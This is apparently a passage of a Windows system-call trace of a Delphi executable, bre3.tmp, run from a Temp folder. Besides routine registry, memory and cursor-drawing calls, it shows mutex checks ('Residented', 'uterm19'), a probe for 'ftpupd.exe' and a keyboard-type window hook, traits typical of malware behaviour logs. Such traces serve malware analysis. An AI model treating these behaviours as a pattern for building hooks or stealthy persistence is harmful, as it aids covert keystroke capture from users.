 00986  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Classes\Interface\{00020400-0000-0000-C000-000000000046}"}, ... 128, ) }, ... 128, ) == 0x0
 00987  1744   NtQueryValueKey  (128,  (128, "InterfaceHelperDisableAll", Full, 0, ... ) , Full, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00988  1744   NtQueryValueKey  (128,  (128, "InterfaceHelperDisableAllForOle32", Full, 0, ... ) , Full, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00989  1744   NtClose  (128, ... ) == 0x0
 00990  1744   NtOpenEvent  (0x1f0003, {24, 44, 0x0, 0, 0,  (0x1f0003, {24, 44, 0x0, 0, 0, "HookSwitchHookEnabledEvent"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00991  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OLEAUT32.DLL"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00992  1744   NtUserRegisterWindowMessage  ( ("{FB8F0821-0164-101B-84ED-08002B2EC713}", ... ) , ... ) == 0xc077
 00993  1744   NtOpenKey  (0x1, {24, 16, 0x40, 0, 0,  (0x1, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\OLEAUT"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00994  1744   NtOpenKey  (0x9, {24, 16, 0x40, 0, 0,  (0x9, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\OLEAUT\UserEra"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00995  1744   NtAllocateVirtualMemory  (-1, 1343488, 0, 4096, 4096, 4, ... 1343488, 4096, ) == 0x0
 00996  1744   NtOpenKey  (0x1, {24, 16, 0x40, 0, 0,  (0x1, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\OLEAUT"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00997  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WSOCK32.DLL"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00998  1744   NtQueryPerformanceCounter  (... {1116561641, 16}, {3579545, 0}, ) == 0x0
 00999  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bre3.tmp"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01000  1744   NtUserCallOneParam  (0, 41, ... ) == 0x4
 01001  1744   NtAllocateVirtualMemory  (-1, 1347584, 0, 8192, 4096, 4, ... 1347584, 8192, ) == 0x0
 01002  1744   NtQueryVirtualMemory  (-1, 0x12f630, Basic, 28, ... {BaseAddress=0x12f000,AllocationBase=0x30000,AllocationProtect=0x4,RegionSize=0x1000,State=0x1000,Protect=0x4,Type=0x20000,}, 28, ) == 0x0
 01003  1744   NtAllocateVirtualMemory  (-1, 0, 0, 1048576, 8192, 1, ... 11993088, 1048576, ) == 0x0
 01004  1744   NtAllocateVirtualMemory  (-1, 1355776, 0, 4096, 4096, 4, ... 1355776, 4096, ) == 0x0
 01005  1744   NtAllocateVirtualMemory  (-1, 11993088, 0, 16384, 4096, 4, ... 11993088, 16384, ) == 0x0
 01006  1744   NtQuerySystemInformation  (TimeZone, 172, ... {system info, class 44, size 172}, 0x0, ) == 0x0
 01007  1744   NtQuerySystemInformation  (TimeZone, 172, ... {system info, class 44, size 172}, 0x0, ) == 0x0
 01008  1744   NtOpenKey  (0xf003f, {24, 100, 0x40, 0, 0,  (0xf003f, {24, 100, 0x40, 0, 0, "Software\Borland\Locales"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01009  1744   NtOpenKey  (0xf003f, {24, 100, 0x40, 0, 0,  (0xf003f, {24, 100, 0x40, 0, 0, "Software\Borland\Delphi\Locales"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01010  1744   NtOpenProcessToken  (-1, 0x8, ... 128, ) == 0x0
 01011  1744   NtQueryInformationToken  (128, Statistics, 56, ... {token info, class 10, size 56}, 56, ) == 0x0
 01012  1744   NtClose  (128, ... ) == 0x0
 01013  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.ENU"}, 1241100, ... ) }, 1241100, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01014  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.ENU"}, 1240696, ... ) }, 1240696, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01015  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.ENU.DLL"}, 1240696, ... ) }, 1240696, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01016  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.EN"}, 1241100, ... ) }, 1241100, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01017  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.EN"}, 1240696, ... ) }, 1240696, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01018  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.EN.DLL"}, 1240696, ... ) }, 1240696, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01019  1744   NtCreateEvent  (0x1f0003, 0x0, 0, -1, ... 128, ) == 0x0
 01020  1744   NtUserGetDC  (0, ... ) == 0x1010054
 01021  1744   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 01022  1744   NtUserGetDC  (0, ... ) == 0x1010054
 01023  1744   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 01024  1744   NtGdiCreatePaletteInternal  (1241804, 16, ... ) == 0x71080651
 01025  1744   NtGdiGetStockObject  (7, ... ) == 0x1b00017
 01026  1744   NtGdiGetStockObject  (5, ... ) == 0x1900015
 01027  1744   NtUserFindExistingCursorIcon  (1242168, 1242184, 1242232, ... ) == 0x10003
 01028  1744   NtAddAtom  ( ("D\0e\0l\0p\0h\0i\00\00\00\00\00\06\0C\08\0", 28, 1242732, ... ) , 28, 1242732, ... ) == 0x0
 01029  1744   NtAddAtom  ( ("C\0o\0n\0t\0r\0o\0l\0O\0f\0s\00\00\0A\0F\00\00\00\00\00\00\00\00\00\06\0D\00\0", 52, 1242732, ... ) , 52, 1242732, ... ) == 0x0
 01030  1744   NtUserSystemParametersInfo  (104, 0, 12000836, 0, ... ) == 0x1
 01031  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x10011
 01032  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x10023
 01033  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x0
 01034  1744   NtUserGetDC  (0, ... ) == 0x1010054
 01035  1744   NtGdiCreateDIBitmapInternal  (16842836, 32, 64, 2, 0, 2118583256, 0, 48, 0, 0, 0, ... ) == 0x540507cc
 01036  1744   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 01037  1744   NtGdiSelectBitmap  (-234813853, 1409615820, ... ) == 0x185000f
 01038  1744   NtGdiGetDCforBitmap  (1409615820, ... ) == 0xf2010663
 01039  1744   NtGdiSaveDC  (-234813853, ... ) == 0x1
 01040  1744   NtGdiSelectBitmap  (-234813853, 1409615820, ... ) == 0x540507cc
 01041  1744   NtGdiGetDCObject  (-234813853, 524288, ... ) == 0x188000b
 01042  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01043  1744   NtGdiSetDIBitsToDeviceInternal  (-234813853, 0, 0, 32, 64, 0, 0, 0, 64, 11875852, 1343256, 0, 256, 48, 1, 0, ... ) == 0x40
 01044  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01045  1744   NtGdiSelectBitmap  (-234813853, 1409615820, ... ) == 0x540507cc
 01046  1744   NtGdiRestoreDC  (-234813853, -1, ... ) == 0x1
 01047  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x540507cc
 01048  1744   NtGdiCreateCompatibleDC  (-234813853, ... ) == 0x46010482
 01049  1744   NtGdiExtGetObjectW  (1409615820, 24, 1241212, ... ) == 0x18
 01050  1744   NtGdiCreateBitmap  (32, 64, 1, 1, 0, ... ) == 0x300503ba
 01051  1744   NtGdiSelectBitmap  (-234813853, 1409615820, ... ) == 0x185000f
 01052  1744   NtGdiSelectBitmap  (1174471810, 805635002, ... ) == 0x185000f
 01053  1744   NtGdiBitBlt  (1174471810, 0, 0, 32, 64, -234813853, 0, 0, 13369376, -1, 0, ... ) == 0x1
 01054  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x540507cc
 01055  1744   NtGdiSelectBitmap  (1174471810, 25493519, ... ) == 0x300503ba
 01056  1744   NtGdiDeleteObjectApp  (1409615820, ... ) == 0x1
 01057  1744   NtGdiDeleteObjectApp  (1174471810, ... ) == 0x1
 01058  1744   NtUserCallOneParam  (0, 33, ... ) == 0x260217
 01059  1744   NtUserSetCursorIconData  (2490903, 1241316, 1241332, 1241396, ... ) == 0x1
 01060  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x10029
 01061  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x10027
 01062  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x10025
 01063  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x0
 01064  1744   NtUserGetDC  (0, ... ) == 0x1010054
 01065  1744   NtGdiCreateDIBitmapInternal  (16842836, 32, 64, 2, 0, 2118583256, 0, 48, 0, 0, 0, ... ) == 0x570504d6
 01066  1744   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 01067  1744   NtGdiSelectBitmap  (-234813853, 1459946710, ... ) == 0x185000f
 01068  1744   NtGdiGetDCforBitmap  (1459946710, ... ) == 0xf2010663
 01069  1744   NtGdiSaveDC  (-234813853, ... ) == 0x1
 01070  1744   NtGdiSelectBitmap  (-234813853, 1459946710, ... ) == 0x570504d6
 01071  1744   NtGdiGetDCObject  (-234813853, 524288, ... ) == 0x188000b
 01072  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01073  1744   NtGdiSetDIBitsToDeviceInternal  (-234813853, 0, 0, 32, 64, 0, 0, 0, 64, 11876160, 1343256, 0, 256, 48, 1, 0, ... ) == 0x40
 01074  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01075  1744   NtGdiSelectBitmap  (-234813853, 1459946710, ... ) == 0x570504d6
 01076  1744   NtGdiRestoreDC  (-234813853, -1, ... ) == 0x1
 01077  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x570504d6
 01078  1744   NtGdiCreateCompatibleDC  (-234813853, ... ) == 0x560107cc
 01079  1744   NtGdiExtGetObjectW  (1459946710, 24, 1241212, ... ) == 0x18
 01080  1744   NtGdiCreateBitmap  (32, 64, 1, 1, 0, ... ) == 0xeb0504a8
 01081  1744   NtGdiSelectBitmap  (-234813853, 1459946710, ... ) == 0x185000f
 01082  1744   NtGdiSelectBitmap  (1442908108, -351992664, ... ) == 0x185000f
 01083  1744   NtGdiBitBlt  (1442908108, 0, 0, 32, 64, -234813853, 0, 0, 13369376, -1, 0, ... ) == 0x1
 01084  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x570504d6
 01085  1744   NtGdiSelectBitmap  (1442908108, 25493519, ... ) == 0xeb0504a8
 01086  1744   NtGdiDeleteObjectApp  (1459946710, ... ) == 0x1
 01087  1744   NtGdiDeleteObjectApp  (1442908108, ... ) == 0x1
 01088  1744   NtUserCallOneParam  (0, 33, ... ) == 0xe01b1
 01089  1744   NtUserSetCursorIconData  (917937, 1241316, 1241332, 1241396, ... ) == 0x1
 01090  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x0
 01091  1744   NtUserGetDC  (0, ... ) == 0x1010054
 01092  1744   NtGdiCreateDIBitmapInternal  (16842836, 32, 64, 2, 0, 2118583256, 0, 48, 0, 0, 0, ... ) == 0x48050482
 01093  1744   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 01094  1744   NtGdiSelectBitmap  (-234813853, 1208288386, ... ) == 0x185000f
 01095  1744   NtGdiGetDCforBitmap  (1208288386, ... ) == 0xf2010663
 01096  1744   NtGdiSaveDC  (-234813853, ... ) == 0x1
 01097  1744   NtGdiSelectBitmap  (-234813853, 1208288386, ... ) == 0x48050482
 01098  1744   NtGdiGetDCObject  (-234813853, 524288, ... ) == 0x188000b
 01099  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01100  1744   NtGdiSetDIBitsToDeviceInternal  (-234813853, 0, 0, 32, 64, 0, 0, 0, 64, 11876468, 1343256, 0, 256, 48, 1, 0, ... ) == 0x40
 01101  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01102  1744   NtGdiSelectBitmap  (-234813853, 1208288386, ... ) == 0x48050482
 01103  1744   NtGdiRestoreDC  (-234813853, -1, ... ) == 0x1
 01104  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x48050482
 01105  1744   NtGdiCreateCompatibleDC  (-234813853, ... ) == 0x590104d6
 01106  1744   NtGdiExtGetObjectW  (1208288386, 24, 1241212, ... ) == 0x18
 01107  1744   NtGdiCreateBitmap  (32, 64, 1, 1, 0, ... ) == 0x3505069c
 01108  1744   NtGdiSelectBitmap  (-234813853, 1208288386, ... ) == 0x185000f
 01109  1744   NtGdiSelectBitmap  (1493238998, 889521820, ... ) == 0x185000f
 01110  1744   NtGdiBitBlt  (1493238998, 0, 0, 32, 64, -234813853, 0, 0, 13369376, -1, 0, ... ) == 0x1
 01111  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x48050482
 01112  1744   NtGdiSelectBitmap  (1493238998, 25493519, ... ) == 0x3505069c
 01113  1744   NtGdiDeleteObjectApp  (1208288386, ... ) == 0x1
 01114  1744   NtGdiDeleteObjectApp  (1493238998, ... ) == 0x1
 01115  1744   NtUserCallOneParam  (0, 33, ... ) == 0x39019f
 01116  1744   NtUserSetCursorIconData  (3735967, 1241316, 1241332, 1241396, ... ) == 0x1
 01117  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x0
 01118  1744   NtUserGetDC  (0, ... ) == 0x1010054
 01119  1744   NtGdiCreateDIBitmapInternal  (16842836, 32, 64, 2, 0, 2118583256, 0, 48, 0, 0, 0, ... ) == 0x580507cc
 01120  1744   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 01121  1744   NtGdiSelectBitmap  (-234813853, 1476724684, ... ) == 0x185000f
 01122  1744   NtGdiGetDCforBitmap  (1476724684, ... ) == 0xf2010663
 01123  1744   NtGdiSaveDC  (-234813853, ... ) == 0x1
 01124  1744   NtGdiSelectBitmap  (-234813853, 1476724684, ... ) == 0x580507cc
 01125  1744   NtGdiGetDCObject  (-234813853, 524288, ... ) == 0x188000b
 01126  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01127  1744   NtGdiSetDIBitsToDeviceInternal  (-234813853, 0, 0, 32, 64, 0, 0, 0, 64, 11876776, 1343256, 0, 256, 48, 1, 0, ... ) == 0x40
 01128  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01129  1744   NtGdiSelectBitmap  (-234813853, 1476724684, ... ) == 0x580507cc
 01130  1744   NtGdiRestoreDC  (-234813853, -1, ... ) == 0x1
 01131  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x580507cc
 01132  1744   NtGdiCreateCompatibleDC  (-234813853, ... ) == 0x4a010482
 01133  1744   NtGdiExtGetObjectW  (1476724684, 24, 1241212, ... ) == 0x18
 01134  1744   NtGdiCreateBitmap  (32, 64, 1, 1, 0, ... ) == 0x6e0507a9
 01135  1744   NtGdiSelectBitmap  (-234813853, 1476724684, ... ) == 0x185000f
 01136  1744   NtGdiSelectBitmap  (1241580674, 1845823401, ... ) == 0x185000f
 01137  1744   NtGdiBitBlt  (1241580674, 0, 0, 32, 64, -234813853, 0, 0, 13369376, -1, 0, ... ) == 0x1
 01138  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x580507cc
 01139  1744   NtGdiSelectBitmap  (1241580674, 25493519, ... ) == 0x6e0507a9
 01140  1744   NtGdiDeleteObjectApp  (1476724684, ... ) == 0x1
 01141  1744   NtGdiDeleteObjectApp  (1241580674, ... ) == 0x1
 01142  1744   NtUserCallOneParam  (0, 33, ... ) == 0x1401e3
 01143  1744   NtUserSetCursorIconData  (1311203, 1241316, 1241332, 1241396, ... ) == 0x1
 01144  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x0
 01145  1744   NtUserGetDC  (0, ... ) == 0x1010054
 01146  1744   NtGdiCreateDIBitmapInternal  (16842836, 32, 64, 2, 0, 2118583256, 0, 48, 0, 0, 0, ... ) == 0x5b0504d6
 01147  1744   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 01148  1744   NtGdiSelectBitmap  (-234813853, 1527055574, ... ) == 0x185000f
 01149  1744   NtGdiGetDCforBitmap  (1527055574, ... ) == 0xf2010663
 01150  1744   NtGdiSaveDC  (-234813853, ... ) == 0x1
 01151  1744   NtGdiSelectBitmap  (-234813853, 1527055574, ... ) == 0x5b0504d6
 01152  1744   NtGdiGetDCObject  (-234813853, 524288, ... ) == 0x188000b
 01153  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01154  1744   NtGdiSetDIBitsToDeviceInternal  (-234813853, 0, 0, 32, 64, 0, 0, 0, 64, 11877084, 1343256, 0, 256, 48, 1, 0, ... ) == 0x40
 01155  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01156  1744   NtGdiSelectBitmap  (-234813853, 1527055574, ... ) == 0x5b0504d6
 01157  1744   NtGdiRestoreDC  (-234813853, -1, ... ) == 0x1
 01158  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x5b0504d6
 01159  1744   NtGdiCreateCompatibleDC  (-234813853, ... ) == 0x5a0107cc
 01160  1744   NtGdiExtGetObjectW  (1527055574, 24, 1241212, ... ) == 0x18
 01161  1744   NtGdiCreateBitmap  (32, 64, 1, 1, 0, ... ) == 0xe40505cb
 01162  1744   NtGdiSelectBitmap  (-234813853, 1527055574, ... ) == 0x185000f
 01163  1744   NtGdiSelectBitmap  (1510016972, -469432885, ... ) == 0x185000f
 01164  1744   NtGdiBitBlt  (1510016972, 0, 0, 32, 64, -234813853, 0, 0, 13369376, -1, 0, ... ) == 0x1
 01165  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x5b0504d6
 01166  1744   NtGdiSelectBitmap  (1510016972, 25493519, ... ) == 0xe40505cb
 01167  1744   NtGdiDeleteObjectApp  (1527055574, ... ) == 0x1
 01168  1744   NtGdiDeleteObjectApp  (1510016972, ... ) == 0x1
 01169  1744   NtUserCallOneParam  (0, 33, ... ) == 0x701bd
 01170  1744   NtUserSetCursorIconData  (459197, 1241316, 1241332, 1241396, ... ) == 0x1
 01171  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x0
 01172  1744   NtUserGetDC  (0, ... ) == 0x1010054
 01173  1744   NtGdiCreateDIBitmapInternal  (16842836, 32, 64, 2, 0, 2118583256, 0, 48, 0, 0, 0, ... ) == 0x4c050482
 01174  1744   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 01175  1744   NtGdiSelectBitmap  (-234813853, 1275397250, ... ) == 0x185000f
 01176  1744   NtGdiGetDCforBitmap  (1275397250, ... ) == 0xf2010663
 01177  1744   NtGdiSaveDC  (-234813853, ... ) == 0x1
 01178  1744   NtGdiSelectBitmap  (-234813853, 1275397250, ... ) == 0x4c050482
 01179  1744   NtGdiGetDCObject  (-234813853, 524288, ... ) == 0x188000b
 01180  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01181  1744   NtGdiSetDIBitsToDeviceInternal  (-234813853, 0, 0, 32, 64, 0, 0, 0, 64, 11877700, 1343256, 0, 256, 48, 1, 0, ... ) == 0x40
 01182  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01183  1744   NtGdiSelectBitmap  (-234813853, 1275397250, ... ) == 0x4c050482
 01184  1744   NtGdiRestoreDC  (-234813853, -1, ... ) == 0x1
 01185  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x4c050482
 01186  1744   NtGdiCreateCompatibleDC  (-234813853, ... ) == 0x5d0104d6
 01187  1744   NtGdiExtGetObjectW  (1275397250, 24, 1241212, ... ) == 0x18
 01188  1744   NtGdiCreateBitmap  (32, 64, 1, 1, 0, ... ) == 0x4705066c
 01189  1744   NtGdiSelectBitmap  (-234813853, 1275397250, ... ) == 0x185000f
 01190  1744   NtGdiSelectBitmap  (1560347862, 1191511660, ... ) == 0x185000f
 01191  1744   NtGdiBitBlt  (1560347862, 0, 0, 32, 64, -234813853, 0, 0, 13369376, -1, 0, ... ) == 0x1
 01192  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x4c050482
 01193  1744   NtGdiSelectBitmap  (1560347862, 25493519, ... ) == 0x4705066c
 01194  1744   NtGdiDeleteObjectApp  (1275397250, ... ) == 0x1
 01195  1744   NtGdiDeleteObjectApp  (1560347862, ... ) == 0x1
 01196  1744   NtUserCallOneParam  (0, 33, ... ) == 0x210297
 01197  1744   NtUserSetCursorIconData  (2163351, 1241316, 1241332, 1241396, ... ) == 0x1
 01198  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x0
 01199  1744   NtUserGetDC  (0, ... ) == 0x1010054
 01200  1744   NtGdiCreateDIBitmapInternal  (16842836, 32, 64, 2, 0, 2118583256, 0, 48, 0, 0, 0, ... ) == 0x5c0507cc
 01201  1744   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 01202  1744   NtGdiSelectBitmap  (-234813853, 1543833548, ... ) == 0x185000f
 01203  1744   NtGdiGetDCforBitmap  (1543833548, ... ) == 0xf2010663
 01204  1744   NtGdiSaveDC  (-234813853, ... ) == 0x1
 01205  1744   NtGdiSelectBitmap  (-234813853, 1543833548, ... ) == 0x5c0507cc
 01206  1744   NtGdiGetDCObject  (-234813853, 524288, ... ) == 0x188000b
 01207  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01208  1744   NtGdiSetDIBitsToDeviceInternal  (-234813853, 0, 0, 32, 64, 0, 0, 0, 64, 11877392, 1343256, 0, 256, 48, 1, 0, ... ) == 0x40
 01209  1744   NtUserSelectPalette  (-234813853, 25690123, 0, ... ) == 0x188000b
 01210  1744   NtGdiSelectBitmap  (-234813853, 1543833548, ... ) == 0x5c0507cc
 01211  1744   NtGdiRestoreDC  (-234813853, -1, ... ) == 0x1
 01212  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x5c0507cc
 01213  1744   NtGdiCreateCompatibleDC  (-234813853, ... ) == 0x4e010482
 01214  1744   NtGdiExtGetObjectW  (1543833548, 24, 1241212, ... ) == 0x18
 01215  1744   NtGdiCreateBitmap  (32, 64, 1, 1, 0, ... ) == 0xb8050697
 01216  1744   NtGdiSelectBitmap  (-234813853, 1543833548, ... ) == 0x185000f
 01217  1744   NtGdiSelectBitmap  (1308689538, -1207630185, ... ) == 0x185000f
 01218  1744   NtGdiBitBlt  (1308689538, 0, 0, 32, 64, -234813853, 0, 0, 13369376, -1, 0, ... ) == 0x1
 01219  1744   NtGdiSelectBitmap  (-234813853, 25493519, ... ) == 0x5c0507cc
 01220  1744   NtGdiSelectBitmap  (1308689538, 25493519, ... ) == 0xb8050697
 01221  1744   NtGdiDeleteObjectApp  (1543833548, ... ) == 0x1
 01222  1744   NtGdiDeleteObjectApp  (1308689538, ... ) == 0x1
 01223  1744   NtUserCallOneParam  (0, 33, ... ) == 0x420281
 01224  1744   NtUserSetCursorIconData  (4326017, 1241316, 1241332, 1241396, ... ) == 0x1
 01225  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x10015
 01226  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x10019
 01227  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x1001f
 01228  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x1001b
 01229  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x10021
 01230  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x1001d
 01231  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x10013
 01232  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x10017
 01233  1744   NtUserFindExistingCursorIcon  (1242052, 1242068, 1242116, ... ) == 0x10011
 01234  1744   NtUserCallOneParam  (0, 40, ... ) == 0x4090409
 01235  1744   NtUserGetDC  (0, ... ) == 0x1010054
 01236  1744   NtUserCallOneParam  (16842836, 57, ... ) == 0x1
 01237  1744   NtUserEnumDisplayMonitors  (0, 0, 11600484, 12001416, ... ) == 0x1
 01238  1744   NtUserSystemParametersInfo  (31, 60, 1241032, 0, ... ) == 0x1
 01239  1744   NtGdiHfontCreate  (1241912, 356, 0, 0, 1335224, ... ) == 0x4f0a0482
 01240  1744   NtGdiExtGetObjectW  (1326056578, 420, 1241736, ... ) == 0x164
 01241  1744   NtUserSystemParametersInfo  (41, 0, 1241232, 0, ... ) == 0x1
 01242  1744   NtGdiHfontCreate  (1241912, 356, 0, 0, 1335216, ... ) == 0x5f0a04d6
 01243  1744   NtGdiExtGetObjectW  (1594492118, 420, 1241736, ... ) == 0x164
 01244  1744   NtGdiHfontCreate  (1241912, 356, 0, 0, 1335208, ... ) == 0x5d0a07cc
 01245  1744   NtGdiExtGetObjectW  (1560938444, 420, 1241736, ... ) == 0x164
 01246  1744   NtUserFindExistingCursorIcon  (1241812, 1241828, 1241876, ... ) == 0x0
 01247  1744   NtAllocateVirtualMemory  (-1, 0, 0, 4096, 4096, 64, ... 3801088, 4096, ) == 0x0
 01248  1744   NtUserGetKeyboardLayoutList  (64, 1242400, ... ) == 0x1
 01249  1744   NtUserRegisterWindowMessage  ( ("Delphi Picture", ... ) , ... ) == 0xc13a
 01250  1744   NtUserRegisterWindowMessage  ( ("Delphi Component", ... ) , ... ) == 0xc13b
 01251  1744   NtOpenMutant  (0x1f0001, {24, 44, 0x0, 0, 0,  (0x1f0001, {24, 44, 0x0, 0, 0, "Residented"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01252  1744   NtUserSetWindowsHookEx  (11468800, 1243784, 0, 4, 11476668, 2, ... ) == 0x35026b
 01253  1744   NtQueryVirtualMemory  (-1, 0x31428210, Basic, 28, ... {BaseAddress=0x31428000,AllocationBase=0x31420000,AllocationProtect=0x80,RegionSize=0x1000,State=0x1000,Protect=0x40,Type=0x1000000,}, 28, ) == 0x0
 01254  1744   NtOpenFile  (0x10080, {24, 12, 0x40, 0, 0,  (0x10080, {24, 12, 0x40, 0, 0, "ftpupd.exe"}, 7, 2113600, ... ) }, 7, 2113600, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01255  1744   NtCreateMutant  (0x1f0001, {24, 44, 0x80, 0, 0,  (0x1f0001, {24, 44, 0x80, 0, 0, "uterm19"}, 1, ... 132, ) }, 1, ... 132, ) == 0x0
 01256  1744   NtOpenProcessToken  (-1, 0x20, ... 136, ) == 0x0
 01257  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 01258  1744   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "Software\Microsoft\Rpc\PagedBuffers"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01259  1744   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "Software\Microsoft\Rpc"}, ... 140, ) }, ... 140, ) == 0x0
